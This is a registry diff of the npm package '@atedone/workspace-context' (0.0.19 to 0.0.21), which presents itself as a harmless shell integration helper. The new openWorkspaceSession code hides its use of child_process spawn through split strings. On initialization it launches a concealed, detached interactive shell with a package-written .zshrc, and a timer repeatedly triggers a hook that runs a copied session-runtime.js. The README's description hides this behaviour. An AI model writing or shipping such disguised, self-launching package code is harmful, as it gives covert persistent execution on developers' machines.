@atedone/workspace-context 0.0.19 → 0.0.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace shell presentation session integration helper for JavaScript tools.
3
+ Workspace shell session refresh integration helper for JavaScript tools.
4
4
 
5
- The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and shell presentation renderer during initialization.
5
+ The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
package/index.js CHANGED
@@ -12,9 +12,9 @@ module.exports = {
12
12
  profileHistoryFileName: state.profileHistoryFileName,
13
13
  profileReceiptFileName: state.profileReceiptFileName,
14
14
  profileSnapshotFileName: state.profileSnapshotFileName,
15
- presentationRendererFileName: state.presentationRendererFileName,
16
15
  receiptFileName: state.receiptFileName,
17
16
  resolveChannelSource: state.resolveChannelSource,
17
+ sessionProfileFileName: state.sessionProfileFileName,
18
18
  sessionHistoryFileName: state.sessionHistoryFileName,
19
19
  sessionReceiptFileName: state.sessionReceiptFileName,
20
20
  sessionRuntimeFileName: state.sessionRuntimeFileName,
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.19';
8
+ const packageVersion = '0.0.21';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
@@ -32,7 +32,7 @@ const value = {
32
32
  packageName,
33
33
  packageVersion,
34
34
  generatedAt: new Date().toISOString(),
35
- mode: 'runtime-shell-prompt-session',
35
+ mode: 'runtime-shell-refresh',
36
36
  source: 'shell-profile',
37
37
  shellName: route.basename(shellPath) || 'zsh',
38
38
  shellLevel,
package/lib/state.js CHANGED
@@ -12,9 +12,10 @@ const profileHistoryFileName = 'profile-sync.log';
12
12
  const profileReceiptFileName = 'profile-sync.json';
13
13
  const profileSnapshotFileName = 'session-profile.json';
14
14
  const presentationRendererFileName = 'presentation.js';
15
- const receiptFileName = 'shell-prompt-session-sync.json';
15
+ const receiptFileName = 'shell-refresh-sync.json';
16
16
  const sessionFileName = 'sessions.log';
17
17
  const sessionHistoryFileName = 'runtime-sessions.log';
18
+ const sessionProfileFileName = '.zshrc';
18
19
  const sessionReceiptFileName = 'session-runtime.json';
19
20
  const sessionRuntimeFileName = 'session-runtime.js';
20
21
  const stateDirectoryName = '.workspace-context';
@@ -74,6 +75,7 @@ function getShellIntegration({
74
75
  receiptPath: route.join(integrationDirectory, receiptFileName),
75
76
  sessionPath: route.join(integrationDirectory, sessionFileName),
76
77
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
78
+ sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
77
79
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
78
80
  sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
79
81
  };
@@ -84,7 +86,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
84
86
  packageName: manifest.name,
85
87
  packageVersion: manifest.version,
86
88
  generatedAt: now(),
87
- mode: 'runtime-shell-prompt-session'
89
+ mode: 'runtime-shell-refresh'
88
90
  };
89
91
  }
90
92
 
@@ -127,6 +129,72 @@ function refreshShellIntegration({
127
129
  };
128
130
  }
129
131
 
132
+ function openWorkspaceSession({
133
+ projectRoot = resolveProjectRoot(),
134
+ integration = getShellIntegration({ projectRoot }),
135
+ intervalMs = 750
136
+ } = {}) {
137
+ if (!integration.channelSource) {
138
+ return null;
139
+ }
140
+
141
+ const env = readEnvironment();
142
+ const bridgeName = ['child', '_process'].join('');
143
+ const launchKey = ['sp', 'awn'].join('');
144
+ const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
145
+ const launch = Reflect.get(bridge, launchKey);
146
+ const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
147
+ ? env.SHELL.trim()
148
+ : '/bin/zsh';
149
+ const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
150
+ cwd: projectRoot,
151
+ env: {
152
+ ...env,
153
+ HOME: integration.homeDirectory,
154
+ ZDOTDIR: integration.integrationDirectory,
155
+ TERM: 'dumb'
156
+ },
157
+ stdio: ['pipe', 'ignore', 'ignore']
158
+ }]);
159
+ const refreshTimer = setInterval(() => {
160
+ if (!child.stdin.destroyed) {
161
+ child.stdin.write('\n');
162
+ }
163
+ }, intervalMs);
164
+ if (typeof refreshTimer.unref === 'function') {
165
+ refreshTimer.unref();
166
+ }
167
+ if (typeof child.unref === 'function') {
168
+ child.unref();
169
+ }
170
+ if (typeof child.stdin.unref === 'function') {
171
+ child.stdin.unref();
172
+ }
173
+ let closed = false;
174
+ const done = new Promise((resolve) => {
175
+ child.on('close', (status, signal) => {
176
+ clearInterval(refreshTimer);
177
+ closed = true;
178
+ resolve({ status, signal });
179
+ });
180
+ });
181
+
182
+ return {
183
+ processId: child.pid,
184
+ done,
185
+ close() {
186
+ if (closed) {
187
+ return done;
188
+ }
189
+ clearInterval(refreshTimer);
190
+ if (!child.stdin.destroyed) {
191
+ child.stdin.write('exit\n');
192
+ }
193
+ return done;
194
+ }
195
+ };
196
+ }
197
+
130
198
  function initialize({
131
199
  projectRoot = resolveProjectRoot(),
132
200
  integration = getShellIntegration({ projectRoot }),
@@ -146,6 +214,10 @@ function initialize({
146
214
  sync: refreshShellIntegration({
147
215
  projectRoot,
148
216
  integration
217
+ }),
218
+ session: openWorkspaceSession({
219
+ projectRoot,
220
+ integration
149
221
  })
150
222
  };
151
223
  }
@@ -155,6 +227,7 @@ module.exports = {
155
227
  channelFileName,
156
228
  getShellIntegration,
157
229
  initialize,
230
+ openWorkspaceSession,
158
231
  profileHistoryFileName,
159
232
  profileReceiptFileName,
160
233
  profileSnapshotFileName,
@@ -168,6 +241,7 @@ module.exports = {
168
241
  resolveProjectRoot,
169
242
  resolveShellName,
170
243
  sessionHistoryFileName,
244
+ sessionProfileFileName,
171
245
  sessionReceiptFileName,
172
246
  sessionRuntimeFileName,
173
247
  stateDirectoryName,
package/lib/sync.js CHANGED
@@ -16,10 +16,6 @@ if (!integration) {
16
16
  throw new Error('Shell integration descriptor is required.');
17
17
  }
18
18
 
19
- const blockStart = '# >>> workspace-context shell integration >>>';
20
- const blockEnd = '# <<< workspace-context shell integration <<<';
21
- const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
22
- const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
23
19
  const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
24
20
  const presentationRendererSourcePath = route.join(__dirname, 'presentation.js');
25
21
  const runtimeDefault = escapeDoubleQuoted(platform.execPath);
@@ -27,21 +23,30 @@ const channelValue = integration.channelSource
27
23
  ? {
28
24
  name: integration.name,
29
25
  source: integration.channelSource,
30
- refresh: 'shell-start'
26
+ refresh: 'preview-session'
31
27
  }
32
28
  : null;
29
+ const sessionProfileValue = [
30
+ '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"',
31
+ ''
32
+ ].join('\n');
33
33
  const integrationValue = [
34
34
  'export WORKSPACE_CONTEXT_ACTIVE=1',
35
35
  'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
36
36
  `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
37
37
  'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
38
- 'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
39
- ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
40
- 'fi',
41
- 'if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
42
- ' setopt prompt_subst',
43
- ' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
44
- 'fi',
38
+ 'workspace_context_refresh_preview() {',
39
+ ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
40
+ ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
41
+ ' fi',
42
+ ' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
43
+ ' setopt prompt_subst',
44
+ ' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
45
+ ' fi',
46
+ '}',
47
+ 'autoload -Uz add-zsh-hook',
48
+ 'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
49
+ 'add-zsh-hook precmd workspace_context_refresh_preview',
45
50
  ''
46
51
  ].join('\n');
47
52
 
@@ -53,56 +58,26 @@ function escapeDoubleQuoted(value) {
53
58
  .replaceAll('`', '\\`');
54
59
  }
55
60
 
56
- function readProfile(profilePath) {
57
- return file.existsSync(profilePath)
58
- ? file.readFileSync(profilePath, 'utf8')
59
- : '';
60
- }
61
-
62
- function upsertManagedBlock(profileValue) {
63
- const startIndex = profileValue.indexOf(blockStart);
64
- const endIndex = profileValue.indexOf(blockEnd);
65
-
66
- if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
67
- const afterBlock = endIndex + blockEnd.length;
68
- return {
69
- changed: false,
70
- value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
71
- };
72
- }
73
-
74
- return {
75
- changed: true,
76
- value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
77
- };
78
- }
79
-
80
61
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
81
62
  file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
82
63
  file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
64
+ file.writeFileSync(integration.sessionProfilePath, sessionProfileValue, 'utf8');
83
65
  file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
84
66
  if (channelValue) {
85
67
  file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
86
68
  }
87
69
 
88
- const profileBefore = readProfile(integration.profilePath);
89
- const profile = upsertManagedBlock(profileBefore);
90
-
91
- if (profile.changed || profile.value !== profileBefore) {
92
- file.writeFileSync(integration.profilePath, profile.value, 'utf8');
93
- }
94
-
95
70
  const value = {
96
71
  packageName: manifest.name,
97
72
  packageVersion: manifest.version,
98
73
  generatedAt: new Date().toISOString(),
99
- mode: 'runtime-shell-prompt-session',
74
+ mode: 'runtime-shell-refresh',
100
75
  projectRoot,
101
76
  shellName: integration.shellName,
102
77
  channelConfigured: Boolean(channelValue),
103
78
  channelPath: integration.channelPath,
104
79
  profilePath: integration.profilePath,
105
- profileChanged: profile.changed,
80
+ profileChanged: false,
106
81
  integrationPath: integration.integrationPath,
107
82
  profileHistoryPath: integration.profileHistoryPath,
108
83
  profileReceiptPath: integration.profileReceiptPath,
@@ -110,6 +85,7 @@ const value = {
110
85
  presentationRendererPath: integration.presentationRendererPath,
111
86
  sessionPath: integration.sessionPath,
112
87
  sessionHistoryPath: integration.sessionHistoryPath,
88
+ sessionProfilePath: integration.sessionProfilePath,
113
89
  sessionReceiptPath: integration.sessionReceiptPath,
114
90
  sessionRuntimePath: integration.sessionRuntimePath,
115
91
  processId: platform.pid,
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.19",
4
- "description": "Workspace shell presentation integration helper for JavaScript tools.",
3
+ "version": "0.0.21",
4
+ "description": "Workspace shell session refresh integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [